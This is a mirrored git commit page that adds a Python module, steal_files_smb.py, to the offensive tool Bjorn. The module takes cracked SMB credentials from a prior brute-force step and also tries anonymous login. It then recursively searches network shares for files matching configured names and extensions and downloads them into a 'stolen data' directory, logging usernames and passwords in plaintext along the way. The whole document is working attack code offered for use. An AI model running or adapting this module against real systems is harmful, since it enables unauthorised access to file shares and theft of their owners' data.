mirror of
https://github.com/infinition/Bjorn.git
synced 2025-12-06 06:11:46 +00:00
First Bjorn Commit !
This commit is contained in:
223
actions/steal_files_smb.py
Normal file
223
actions/steal_files_smb.py
Normal file
@@ -0,0 +1,223 @@
|
||||
import os
|
||||
import logging
|
||||
from rich.console import Console
|
||||
from threading import Timer
|
||||
import time
|
||||
from smb.SMBConnection import SMBConnection
|
||||
from smb.base import SharedFile
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
# Configure the logger
|
||||
logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
|
||||
|
||||
# Define the necessary global variables
|
||||
b_class = "StealFilesSMB"
|
||||
b_module = "steal_files_smb"
|
||||
b_status = "steal_files_smb"
|
||||
b_parent = "SMBBruteforce"
|
||||
b_port = 445
|
||||
|
||||
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$', 'Sharename', '---------', 'SMB1'}
|
||||
|
||||
class StealFilesSMB:
|
||||
"""
|
||||
Class to handle the process of stealing files from SMB shares.
|
||||
"""
|
||||
def __init__(self, shared_data):
|
||||
try:
|
||||
self.shared_data = shared_data
|
||||
self.smb_connected = False
|
||||
self.stop_execution = False
|
||||
logger.info("StealFilesSMB initialized")
|
||||
except Exception as e:
|
||||
logger.error(f"Error during initialization: {e}")
|
||||
|
||||
def connect_smb(self, ip, username, password):
|
||||
"""
|
||||
Establish an SMB connection.
|
||||
"""
|
||||
try:
|
||||
conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
|
||||
conn.connect(ip, 445)
|
||||
logger.info(f"Connected to {ip} via SMB with username {username}")
|
||||
self.smb_connected = True
|
||||
return conn
|
||||
except Exception as e:
|
||||
logger.error(f"SMB connection error for {ip} with user '{username}' and password '{password}': {e}")
|
||||
return None
|
||||
|
||||
def find_files(self, conn, share_name, dir_path):
|
||||
"""
|
||||
Find files in the SMB share based on the configuration criteria.
|
||||
"""
|
||||
files = []
|
||||
try:
|
||||
for file in conn.listPath(share_name, dir_path):
|
||||
if file.isDirectory:
|
||||
if file.filename not in ['.', '..']:
|
||||
files.extend(self.find_files(conn, share_name, os.path.join(dir_path, file.filename)))
|
||||
else:
|
||||
if any(file.filename.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||
any(file_name in file.filename for file_name in self.shared_data.steal_file_names):
|
||||
files.append(os.path.join(dir_path, file.filename))
|
||||
logger.info(f"Found {len(files)} matching files in {dir_path} on share {share_name}")
|
||||
except Exception as e:
|
||||
logger.error(f"Error accessing path {dir_path} in share {share_name}: {e}")
|
||||
return files
|
||||
|
||||
def steal_file(self, conn, share_name, remote_file, local_dir):
|
||||
"""
|
||||
Download a file from the SMB share to the local directory.
|
||||
"""
|
||||
try:
|
||||
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
|
||||
local_file_dir = os.path.dirname(local_file_path)
|
||||
os.makedirs(local_file_dir, exist_ok=True)
|
||||
with open(local_file_path, 'wb') as f:
|
||||
conn.retrieveFile(share_name, remote_file, f)
|
||||
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||
except Exception as e:
|
||||
logger.error(f"Error downloading file {remote_file} from share {share_name}: {e}")
|
||||
|
||||
def list_shares(self, conn):
|
||||
"""
|
||||
List shares using the SMBConnection object.
|
||||
"""
|
||||
try:
|
||||
shares = conn.listShares()
|
||||
valid_shares = [share for share in shares if share.name not in IGNORED_SHARES and not share.isSpecial and not share.isTemporary]
|
||||
logger.info(f"Found valid shares: {[share.name for share in valid_shares]}")
|
||||
return valid_shares
|
||||
except Exception as e:
|
||||
logger.error(f"Error listing shares: {e}")
|
||||
return []
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""
|
||||
Steal files from the SMB share.
|
||||
"""
|
||||
try:
|
||||
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||
self.shared_data.bjornorch_status = "StealFilesSMB"
|
||||
logger.info(f"Stealing files from {ip}:{port}...")
|
||||
# Wait a bit because it's too fast to see the status change
|
||||
time.sleep(5)
|
||||
# Get SMB credentials from the cracked passwords file
|
||||
smbfile = self.shared_data.smbfile
|
||||
credentials = {}
|
||||
if os.path.exists(smbfile):
|
||||
with open(smbfile, 'r') as f:
|
||||
lines = f.readlines()[1:] # Skip the header
|
||||
for line in lines:
|
||||
parts = line.strip().split(',')
|
||||
if parts[1] == ip:
|
||||
share = parts[3]
|
||||
user = parts[4]
|
||||
password = parts[5]
|
||||
if share not in credentials:
|
||||
credentials[share] = []
|
||||
credentials[share].append((user, password))
|
||||
logger.info(f"Found credentials for {len(credentials)} shares on {ip}")
|
||||
|
||||
def try_anonymous_access():
|
||||
"""
|
||||
Try to access SMB shares without credentials.
|
||||
"""
|
||||
try:
|
||||
conn = self.connect_smb(ip, '', '')
|
||||
shares = self.list_shares(conn)
|
||||
return conn, shares
|
||||
except Exception as e:
|
||||
logger.info(f"Anonymous access to {ip} failed: {e}")
|
||||
return None, None
|
||||
|
||||
if not credentials and not try_anonymous_access():
|
||||
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||
return 'failed'
|
||||
|
||||
def timeout():
|
||||
"""
|
||||
Timeout function to stop the execution if no SMB connection is established.
|
||||
"""
|
||||
if not self.smb_connected:
|
||||
logger.error(f"No SMB connection established within 4 minutes for {ip}. Marking as failed.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, timeout) # 4 minutes timeout
|
||||
timer.start()
|
||||
|
||||
# Attempt anonymous access first
|
||||
success = False
|
||||
conn, shares = try_anonymous_access()
|
||||
if conn and shares:
|
||||
for share in shares:
|
||||
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
|
||||
continue
|
||||
remote_files = self.find_files(conn, share.name, '/')
|
||||
mac = row['MAC Address']
|
||||
local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share.name}")
|
||||
if remote_files:
|
||||
for remote_file in remote_files:
|
||||
if self.stop_execution:
|
||||
break
|
||||
self.steal_file(conn, share.name, remote_file, local_dir)
|
||||
success = True
|
||||
countfiles = len(remote_files)
|
||||
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
|
||||
conn.close()
|
||||
if success:
|
||||
timer.cancel() # Cancel the timer if the operation is successful
|
||||
|
||||
# Track which shares have already been accessed anonymously
|
||||
attempted_shares = {share.name for share in shares} if success else set()
|
||||
|
||||
# Attempt to steal files using each credential for shares not accessed anonymously
|
||||
for share, creds in credentials.items():
|
||||
if share in attempted_shares or share in IGNORED_SHARES:
|
||||
continue
|
||||
for username, password in creds:
|
||||
if self.stop_execution:
|
||||
break
|
||||
try:
|
||||
logger.info(f"Trying credential {username}:{password} for share {share} on {ip}")
|
||||
conn = self.connect_smb(ip, username, password)
|
||||
if conn:
|
||||
remote_files = self.find_files(conn, share, '/')
|
||||
mac = row['MAC Address']
|
||||
local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share}")
|
||||
if remote_files:
|
||||
for remote_file in remote_files:
|
||||
if self.stop_execution:
|
||||
break
|
||||
self.steal_file(conn, share, remote_file, local_dir)
|
||||
success = True
|
||||
countfiles = len(remote_files)
|
||||
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} on share '{share}' with user '{username}'")
|
||||
conn.close()
|
||||
if success:
|
||||
timer.cancel() # Cancel the timer if the operation is successful
|
||||
break # Exit the loop as we have found valid credentials
|
||||
except Exception as e:
|
||||
logger.error(f"Error stealing files from {ip} on share '{share}' with user '{username}': {e}")
|
||||
|
||||
# Ensure the action is marked as failed if no files were found
|
||||
if not success:
|
||||
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||
return 'failed'
|
||||
else:
|
||||
return 'success'
|
||||
else:
|
||||
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
|
||||
return 'failed'
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
shared_data = SharedData()
|
||||
steal_files_smb = StealFilesSMB(shared_data)
|
||||
# Add test or demonstration calls here
|
||||
except Exception as e:
|
||||
logger.error(f"Error in main execution: {e}")
|
||||
Reference in New Issue
Block a user